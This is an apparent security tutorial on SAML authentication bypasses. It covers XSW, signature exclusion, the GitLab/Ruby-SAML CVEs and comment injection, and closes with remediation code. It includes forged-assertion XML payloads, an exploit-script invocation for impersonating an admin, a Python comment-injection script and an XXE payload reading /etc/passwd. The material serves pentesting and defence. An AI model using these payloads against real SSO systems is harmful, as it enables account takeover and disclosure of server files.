SAML Signature Wrapping Attacks: How XSW Still Breaks Enterprise SSO
Here's something that'll mess with your head a little. When you log into Okta, Azure AD, Salesforce, or literally any enterprise app with SSO, there's a moment where a chunk of XML gets passed from the identity provider back to the application, and that application has to decide whether to trust it.
That decision is more fragile than anyone would like to admit.
In December 2025, PortSwigger published "The Fragile Lock," introducing novel classes of Signature Wrapping attacks capable of completely bypassing authentication in widely used SAML libraries. Okta's response to the coordinated disclosure was essentially that fixing it was the service providers' problem, not theirs. That's not comforting when Okta powers SSO for hundreds of thousands of organizations.
SAML has been "broken" in one way or another since 2012. The attacks keep coming because the root cause has never actually been fixed, and understanding why is what makes this such a productive area for pentesting and bug bounties.
What SAML is actually doing
When you click "Sign in with Google" on an enterprise app, the following happens:

The user never directly talks to the backend application, everything goes through two middlemen. The SP sends the user to the IdP to authenticate, the IdP confirms their identity, and then hands the user a signed XML document to carry back. That document is the SAMLResponse. The user's browser just acts as a courier, it doesn't read the package, it just delivers it.
Think of it like a sealed letter of recommendation. The university (IdP) writes it, signs it, hands it to you, and you walk it over to the employer (SP). The employer trusts the letter because they trust the university's signature. They don't call the university to verify; they just check the signature and act on whatever's inside.
The obvious question is: what if you tamper with the letter before handing it over?
Step 5 is where your attack surface lives. The IdP hands the user a SAMLResponse , a blob of XML containing signed assertions about who they are, their roles, email, and session validity. The user's browser POSTs this to the SP's Assertion Consumer Service (ACS) endpoint. The SP then does two things: validates the signature, then reads the assertion data. These two operations are often handled by different parsers. That gap is everything.
XML Signature Wrapping: the attack that keeps on giving
The XML Digital Signature spec (XML-DSig) lets you sign specific elements within a document by reference, you sign a specific element identified by its ID attribute, not the entire document. This is flexible and useful... and catastrophically abusable.
In a typical XSW attack, an attacker intercepts a legitimate SAML Response signed by a trusted IdP and injects a new malicious Assertion containing arbitrary user information into the same document. When the SP processes the response, the signature verification module correctly validates the legitimate portion, while the SAML processing logic mistakenly consumes the attacker's injected assertion.
The reason it works: the SP's signature verifier and its business logic often use different code paths, sometimes different XML parsers entirely, to find the assertion they care about.
Here is a clean SAML Response before any tampering:
<samlp:Response ID="_response123">
<saml:Assertion ID="_assertion456">
<saml:Subject>
<saml:NameID>attacker@evil.com</saml:NameID>
</saml:Subject>
<ds:Signature>
<ds:SignedInfo>
<ds:Reference URI="#_assertion456"/> <!-- signs _assertion456 -->
</ds:SignedInfo>
</ds:Signature>
</saml:Assertion>
</samlp:Response>
The signature covers _assertion456. Now here is XSW4 , the attacker injects a fake assertion and makes the signed one a child of it:
<samlp:Response ID="_response123">
<!-- FAKE ASSERTION, not signed, but processed first by some parsers -->
<saml:Assertion ID="_evil999">
<saml:Subject>
<saml:NameID>admin@company.com</saml:NameID> <!-- attacker becomes admin -->
</saml:Subject>
<!-- Original signed assertion now nested inside the fake one -->
<saml:Assertion ID="_assertion456">
<saml:Subject>
<saml:NameID>attacker@evil.com</saml:NameID>
</saml:Subject>
<ds:Signature>
<ds:Reference URI="#_assertion456"/> <!-- signature still valid -->
</ds:Signature>
</saml:Assertion>
</saml:Assertion>
</samlp:Response>
The signature validator finds _assertion456 and confirms it's valid, the signature hasn't been touched. But the application's XML parser, doing top-down tree traversal, finds _evil999 first and treats that as the active assertion. This attack exploits the common, incorrect but not unreasonable assumption that a well-formed SAML response will only ever have a single assertion.
There are eight standard XSW variants (XSW1 through XSW8), differing in where the fake assertion is injected and how the original signed content is relocated. All exploit the same core principle: the verifier and the parser disagree about which element is authoritative.

Signature Exclusion: a simpler but equally effective bypass
XSW manipulates structure. Signature Exclusion is blunter: simply remove the <ds:Signature> element entirely, then modify whatever attributes you want.
This works when a service provider checks "is a signature present?" as a boolean condition, rather than "does the signature cryptographically cover the assertion I'm about to use?" Some implementations accept unsigned responses if the IdP's metadata doesn't explicitly mandate signing. Others accept an empty signature block without catching the null reference.
<!-- Original: signed assertion -->
<saml:Assertion ID="_assertion456">
<saml:Subject>
<saml:NameID>user@company.com</saml:NameID>
</saml:Subject>
<ds:Signature>...</ds:Signature> <!-- Remove this -->
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>user</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
<!-- Tampered: unsigned, any values -->
<saml:Assertion ID="_assertion456">
<saml:Subject>
<saml:NameID>admin@company.com</saml:NameID> <!-- changed -->
</saml:Subject>
<!-- No signature element at all -->
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>administrator</saml:AttributeValue> <!-- changed -->
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
If the SP grants access, its signature validation logic is either disabled or checking for presence rather than validity.
Parser differential attacks: the 2024-2026 class
This is the current frontier and where the most interesting bugs are living right now.
Both Ruby (Nokogiri) and PHP expose libxml2 behaviors that can desynchronize signature verification from assertion parsing. When a library uses two different XML parsers for different stages of SAML validation, an attacker can craft input that each parser interprets differently, making the signature verifier see one thing while the business logic sees another.
CVE-2024-45409 (CVSS 10.0 , GitLab, actively exploited):
An attacker with access to any signed SAML document can forge a SAML Response or Assertion by inserting their own DigestValue within the samlp:Extensions element. This alteration tricks the XPath parser, causing it to extract the smuggled DigestValue from the samlp:extensions element rather than the one in the SignedInfo block.
In practice: intercept your own legitimate login, grab the SAMLResponse, run it through Synacktiv's public exploit script:
# CVE-2024-45409 exploit (github.com/synacktiv/CVE-2024-45409)
python3 CVE-2024-45409.py \\
-r response.url_base64 \\
-n admin@company.com \\ # target email to impersonate
-d -e \\
-o response_patched.url_base64
# Replace SAMLResponse= parameter with the output
# POST to /users/auth/saml/callback → instant admin session
CVE-2025-66568 (Ruby-SAML ≤1.12.4, December 2025):
This exploits a failure in libxml2 during canonicalization. When libxml2's canonicalization is invoked on invalid XML input, it may return an empty string rather than a canonicalized node. Ruby-SAML fails to handle this error state correctly , instead of rejecting the failure, it proceeds to compute the DigestValue over this empty string, treating it as if canonicalization succeeded. The attacker can then replay that "empty string signature" against any assertion they craft.
Both CVEs were patched in ruby-saml 1.18.0. If your target is running anything earlier, it's worth checking.
Comment injection: the XML quirk nobody thinks to test
This one is almost embarrassingly simple. XML comments (<!-- -->) are stripped during XML canonicalization, the process used to normalize XML before signing. This means content inside comments is not covered by the signature. But some parsers handle comments differently than others.
The attack: inject an XML comment into the NameID value that splits what the signature sees from what the application reads.
<!-- Signed assertion, what the IdP sent -->
<saml:NameID>attacker@evil.com</saml:NameID>
<!-- Modified, what the attacker submits -->
<saml:NameID>attacker@evil.com<!---->.admin@company.com</saml:NameID>
When the signature validator canonicalizes this, it strips the comment and sees attacker@evil.com.admin@company.com or just attacker@evil.com depending on the implementation. But certain XML parsers return the full text content including the characters after the comment boundary. If the application splits the NameID on @ and takes the domain, or does a prefix match, the injected value gets through as admin@company.com.
This is a well-known variant but it still appears in custom SAML implementations and older versions of standard libraries.
How to test for SAML vulnerabilities
Step 1: Find the ACS endpoint and intercept a SAMLResponse
# The ACS endpoint is usually at:
# /saml/consume, /saml/callback, /auth/saml/callback, /sso/saml
# Intercept in Burp , add this filter rule:
# Match condition: Param name = SAMLResponse
# Base64-decode the SAMLResponse parameter:
echo "PHNhbWxwOlJlc3BvbnNl..." | base64 -d | xmllint --format -
Step 2: Install SAML Raider (Burp extension)
Burp → Extensions → BApp Store → SAML Raider → Install
SAML Raider automatically intercepts SAML requests, decodes and presents the XML, and lets you apply all 8 XSW variants with one click. It also handles the re-encoding and re-signing where applicable.
Step 3: Run all XSW variants systematically
# In Burp with SAML Raider:
# 1. Intercept the POST containing SAMLResponse
# 2. SAML Raider tab appears → shows decoded XML
# 3. Click "XSW1" through "XSW8" in sequence
# 4. Forward each modified response and observe:
# - Did you get a session? → XSW successful
# - Did you get an error about invalid signature? → mitigated
# - Did you get a login page again? → assertion rejected
# For manual testing of Signature Exclusion:
# Delete the <ds:Signature> block entirely
# Modify NameID to target user's email
# Re-encode and submit
Step 4: Test comment injection manually
import base64, gzip, urllib.parse
# Load your intercepted SAMLResponse
with open('saml_response.xml', 'r') as f:
xml = f.read()
# Inject comment into NameID
xml = xml.replace(
'<saml:NameID>attacker@evil.com</saml:NameID>',
'<saml:NameID>attacker@evil.com<!---->admin@company.com</saml:NameID>'
)
# Re-encode
encoded = base64.b64encode(xml.encode()).decode()
print(urllib.parse.quote(encoded))
# Submit this as the SAMLResponse parameter
Step 5: Check for missing signature enforcement
# Check IdP metadata for WantAssertionsSigned and WantAuthnRequestsSigned
curl <https://target.com/saml/metadata> | xmllint --format - | grep -i "want\\|signed\\|certificate"
# If WantAssertionsSigned="false" → signature is not required → try exclusion attack
# If no certificate listed → SP might accept any signature
Step 6: Test for classic XXE (XML External Entity)
Because the ACS endpoint is parsing XML, you must test if the underlying XML parser is resolving external entities. Inject a classic XXE payload right after the XML declaration (or at the top of the document) and see if the parser resolves it before or during signature validation.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response ID="_response123">
> <saml:NameID>&xxe;</saml:NameID>
</samlp:Response>
Note: If you get a DNS callback or file content in the error/response, you have a critical bug without even needing to bypass the signature.
Remediation
The fix isn't one thing , it's a set of validations that all have to be in place simultaneously.
# What a secure SAML validation flow looks like:
def validate_saml_response(xml_response):
# 1. Parse once , use the SAME parser for both verification and processing
# Never use REXML for signature + Nokogiri for assertions (the CVE-2025 pattern)
doc = parse_xml(xml_response, parser="single_consistent_parser")
# 2. Verify the signature using an absolute XPath expression
# NOT: doc.getElementsByTagName("Signature")[0] ← first match, any location
# YES: doc.find("/samlp:Response/saml:Assertion/ds:Signature") ← absolute path
assertion = doc.xpath("/samlp:Response/saml:Assertion")
signature = doc.xpath("/samlp:Response/saml:Assertion/ds:Signature")
if not signature:
raise AuthError("Missing signature , unsigned assertion rejected")
# 3. Verify the Reference URI in SignedInfo matches the Assertion ID
reference_uri = signature.find(".//ds:Reference").get("URI").lstrip("#")
if reference_uri != assertion.get("ID"):
raise AuthError("Signature reference does not match assertion ID")
# 4. Confirm only ONE assertion exists
all_assertions = doc.findall(".//saml:Assertion")
if len(all_assertions) > 1:
raise AuthError("Multiple assertions , XSW attempt detected")
# 5. Validate issuer, audience, NotBefore/NotOnOrAfter
validate_conditions(assertion)
return extract_identity(assertion)
The minimum set of things to verify:
- Signature is present and covers the assertion being consumed, not just some element
- Use absolute XPath expressions, never relative
- Reject any response with more than one
Assertionelement - Use a single XML parser throughout, the dual-parser pattern (REXML + Nokogiri) is the source of the 2024-2025 CVEs
- Check
NotBefore/NotOnOrAfterto prevent replay attacks - For SP metadata, set
WantAssertionsSigned="true", make signing mandatory
References
- The Fragile Lock: Novel Bypasses for SAML Authentication , PortSwigger Research, December 2025, CVE-2025-66567 and CVE-2025-66568, parser differential attacks against Ruby-SAML
- Sign In as Anyone: Bypassing SAML SSO with Parser Differentials , GitHub Security Lab, March 2025, CVE-2025-25291 and CVE-2025-25292, the dual-parser root cause explained
- Ruby-SAML / GitLab CVE-2024-45409 Exploit , Synacktiv, public exploit script with full technical breakdown
- Ruby SAML CVE-2024-45409: As Bad As It Gets , WorkOS, step-by-step exploitation of the DigestValue injection via
samlp:Extensions - Attacking SSO: Common SAML Vulnerabilities , NetSPI, XSW1 through XSW8 explained, SAML Raider usage guide
- Fun with SAML SSO Vulnerabilities , WorkOS, signature exclusion, absolute XPath defence
- On Breaking SAML: Be Whoever You Want to Be , USENIX Security 2012, the original academic paper that documented XSW
- SAML Raider, Burp Suite Extension, automates all 8 XSW variants and signature manipulation